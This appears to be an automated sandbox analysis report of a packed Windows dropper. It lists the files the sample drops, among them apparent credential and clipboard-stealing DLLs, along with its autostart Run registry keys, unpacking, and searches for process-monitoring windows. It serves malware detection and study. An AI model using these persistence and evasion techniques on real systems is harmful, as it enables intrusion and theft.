Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: schannel.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mskeyprotect.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncryptsslp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: gpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: vaultcli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wldp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winmm.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rstrtmgr.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncrypt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d11.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxgi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: resourcepolicyclient.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: d3d10warp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dxcore.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wininet.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: devobj.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: webio.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: winnsi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rasadhlp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: fwpuclnt.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: schannel.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: mskeyprotect.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ncryptsslp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: msasn1.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: gpapi.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: vaultcli.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wintypes.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: wldp.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: d3d11.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: dxgi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: dxcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: devobj.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Section loaded: schannel.dll

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.17.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office

Jump to behavior

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Static file information: File size 2962432 > 1048576

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe

Static PE information: Raw size of wvtamnbw is bigger than: 0x100000 < 0x2a1000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Unpacked PE file: 0.2.SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe.b80000.0.unpack :EW;.rsrc:W;.idata :W;wvtamnbw:EW;jjaorssu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wvtamnbw:EW;jjaorssu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Unpacked PE file: 2.2.explorha.exe.700000.0.unpack :EW;.rsrc:W;.idata :W;wvtamnbw:EW;jjaorssu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wvtamnbw:EW;jjaorssu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Unpacked PE file: 3.2.explorha.exe.700000.0.unpack :EW;.rsrc:W;.idata :W;wvtamnbw:EW;jjaorssu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wvtamnbw:EW;jjaorssu:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Unpacked PE file: 14.2.amert.exe.360000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fbupybke:EW;ejxqaids:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fbupybke:EW;ejxqaids:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Unpacked PE file: 15.2.chrosha.exe.70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;fbupybke:EW;ejxqaids:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;fbupybke:EW;ejxqaids:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Unpacked PE file: 20.2.c884f8452a.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW; vs :ER;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW;
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Unpacked PE file: 28.2.MPGPH131.exe.890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW; vs :ER;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW;
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Unpacked PE file: 29.2.MPGPH131.exe.890000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW; vs :ER;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW;
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Unpacked PE file: 36.2.c884f8452a.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW; vs :ER;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW;
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Unpacked PE file: 45.2.RageMP131.exe.370000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW; vs :ER;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW;
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Unpacked PE file: 51.2.c884f8452a.exe.aa0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW; vs :ER;.rsrc:W;.idata :W; :EW;ejwyeyni:EW;zoeuqxwb:EW;

Source: build12[1].exe.50.dr

Static PE information: 0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: cred64[1].dll.50.dr	Static PE information: real checksum: 0x0 should be: 0x14356f
Source: build12.exe0.50.dr	Static PE information: real checksum: 0x0 should be: 0x1f60e
Source: cred64[1].dll.6.dr	Static PE information: real checksum: 0x0 should be: 0x147ee8
Source: amert.exe.6.dr	Static PE information: real checksum: 0x1d614a should be: 0x1d4933
Source: chrosha.exe.14.dr	Static PE information: real checksum: 0x1d614a should be: 0x1d4933
Source: clip64.dll.50.dr	Static PE information: real checksum: 0x0 should be: 0x2272f
Source: explorha.exe.0.dr	Static PE information: real checksum: 0x2d5a1e should be: 0x2d41c5
Source: clip64.dll.6.dr	Static PE information: real checksum: 0x0 should be: 0x1f783
Source: build12.exe.50.dr	Static PE information: real checksum: 0x0 should be: 0x1f60e
Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Static PE information: real checksum: 0x2d5a1e should be: 0x2d41c5
Source: amert[1].exe.6.dr	Static PE information: real checksum: 0x1d614a should be: 0x1d4933
Source: clip64[1].dll.6.dr	Static PE information: real checksum: 0x0 should be: 0x1f783
Source: build12[1].exe.50.dr	Static PE information: real checksum: 0x0 should be: 0x1f60e
Source: clip64[1].dll.50.dr	Static PE information: real checksum: 0x0 should be: 0x2272f
Source: cred64.dll.50.dr	Static PE information: real checksum: 0x0 should be: 0x14356f
Source: cred64.dll.6.dr	Static PE information: real checksum: 0x0 should be: 0x147ee8

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Static PE information: section name:
Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Static PE information: section name: .idata
Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Static PE information: section name: wvtamnbw
Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Static PE information: section name: jjaorssu
Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Static PE information: section name: .taggant
Source: explorha.exe.0.dr	Static PE information: section name:
Source: explorha.exe.0.dr	Static PE information: section name: .idata
Source: explorha.exe.0.dr	Static PE information: section name: wvtamnbw
Source: explorha.exe.0.dr	Static PE information: section name: jjaorssu
Source: explorha.exe.0.dr	Static PE information: section name: .taggant
Source: cred64[1].dll.6.dr	Static PE information: section name: _RDATA
Source: cred64.dll.6.dr	Static PE information: section name: _RDATA
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert[1].exe.6.dr	Static PE information: section name: .idata
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert[1].exe.6.dr	Static PE information: section name: fbupybke
Source: amert[1].exe.6.dr	Static PE information: section name: ejxqaids
Source: amert[1].exe.6.dr	Static PE information: section name: .taggant
Source: amert.exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name: .idata
Source: amert.exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name: fbupybke
Source: amert.exe.6.dr	Static PE information: section name: ejxqaids
Source: amert.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: ejwyeyni
Source: random[1].exe0.6.dr	Static PE information: section name: zoeuqxwb
Source: c884f8452a.exe.6.dr	Static PE information: section name:
Source: c884f8452a.exe.6.dr	Static PE information: section name: .idata
Source: c884f8452a.exe.6.dr	Static PE information: section name:
Source: c884f8452a.exe.6.dr	Static PE information: section name: ejwyeyni
Source: c884f8452a.exe.6.dr	Static PE information: section name: zoeuqxwb
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name: .idata
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name: oavneyqq
Source: sarra[1].exe.6.dr	Static PE information: section name: ixcwzfpc
Source: chrosha.exe.14.dr	Static PE information: section name:
Source: chrosha.exe.14.dr	Static PE information: section name: .idata
Source: chrosha.exe.14.dr	Static PE information: section name:
Source: chrosha.exe.14.dr	Static PE information: section name: fbupybke
Source: chrosha.exe.14.dr	Static PE information: section name: ejxqaids
Source: chrosha.exe.14.dr	Static PE information: section name: .taggant
Source: RageMP131.exe.20.dr	Static PE information: section name:
Source: RageMP131.exe.20.dr	Static PE information: section name: .idata
Source: RageMP131.exe.20.dr	Static PE information: section name:
Source: RageMP131.exe.20.dr	Static PE information: section name: ejwyeyni
Source: RageMP131.exe.20.dr	Static PE information: section name: zoeuqxwb
Source: MPGPH131.exe.20.dr	Static PE information: section name:
Source: MPGPH131.exe.20.dr	Static PE information: section name: .idata
Source: MPGPH131.exe.20.dr	Static PE information: section name:
Source: MPGPH131.exe.20.dr	Static PE information: section name: ejwyeyni
Source: MPGPH131.exe.20.dr	Static PE information: section name: zoeuqxwb
Source: cred64[1].dll.50.dr	Static PE information: section name: _RDATA
Source: cred64.dll.50.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Code function: 0_2_00B929A0 push esp; ret	0_2_00B929A1
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Code function: 0_2_00B89420 push ebx; ret	0_2_00B8942A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Code function: 0_2_00B88DE6 push esi; iretd	0_2_00B88DE7
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Code function: 0_2_00B9EFBC push ecx; ret	0_2_00B9EFCF
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_0070C0E8 push cs; retn 0002h	2_2_0070C0E9
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00709420 push ebx; ret	2_2_0070942A
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00708DE6 push esi; iretd	2_2_00708DE7
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_0071EFBC push ecx; ret	2_2_0071EFCF
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_0070C0E8 push cs; retn 0002h	3_2_0070C0E9
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_00709420 push ebx; ret	3_2_0070942A
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_00708DE6 push esi; iretd	3_2_00708DE7
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 3_2_0071EFBC push ecx; ret	3_2_0071EFCF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848CB00BD pushad ; iretd	11_2_00007FF848CB00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848D8CACC push eax; retf 0000h	11_2_00007FF848D8CAD5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848D8CA9F push 140000C9h; retf 0000h	11_2_00007FF848D8CAB1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848D80DB9 push eax; ret	11_2_00007FF848D80DD9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_00007FF848D8CF30 push eax; iretd	11_2_00007FF848D8CF61
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Code function: 14_2_0037D28C push ecx; ret	14_2_0037D29F

Source: SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Static PE information: section name: entropy: 7.974297481762842
Source: explorha.exe.0.dr	Static PE information: section name: entropy: 7.974297481762842
Source: amert[1].exe.6.dr	Static PE information: section name: entropy: 7.980367322356868
Source: amert[1].exe.6.dr	Static PE information: section name: fbupybke entropy: 7.952909089297466
Source: amert.exe.6.dr	Static PE information: section name: entropy: 7.980367322356868
Source: amert.exe.6.dr	Static PE information: section name: fbupybke entropy: 7.952909089297466
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.9276781775055
Source: random[1].exe0.6.dr	Static PE information: section name: ejwyeyni entropy: 7.949249760690904
Source: c884f8452a.exe.6.dr	Static PE information: section name: entropy: 7.9276781775055
Source: c884f8452a.exe.6.dr	Static PE information: section name: ejwyeyni entropy: 7.949249760690904
Source: sarra[1].exe.6.dr	Static PE information: section name: entropy: 7.927704281329572
Source: sarra[1].exe.6.dr	Static PE information: section name: oavneyqq entropy: 7.951558451221909
Source: chrosha.exe.14.dr	Static PE information: section name: entropy: 7.980367322356868
Source: chrosha.exe.14.dr	Static PE information: section name: fbupybke entropy: 7.952909089297466
Source: RageMP131.exe.20.dr	Static PE information: section name: entropy: 7.9276781775055
Source: RageMP131.exe.20.dr	Static PE information: section name: ejwyeyni entropy: 7.949249760690904
Source: MPGPH131.exe.20.dr	Static PE information: section name: entropy: 7.9276781775055
Source: MPGPH131.exe.20.dr	Static PE information: section name: ejwyeyni entropy: 7.949249760690904

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amert[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\build12[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Local\Temp\1000188001\build12.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\cred64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	File created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	File created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000055001\831840b410.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	File created: C:\Users\user\AppData\Local\Temp\1000187001\build12.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sarra[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	File created: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

File created: C:\ProgramData\MPGPH131\MPGPH131.exe

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 831840b410.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c884f8452a.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.15237.11182.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
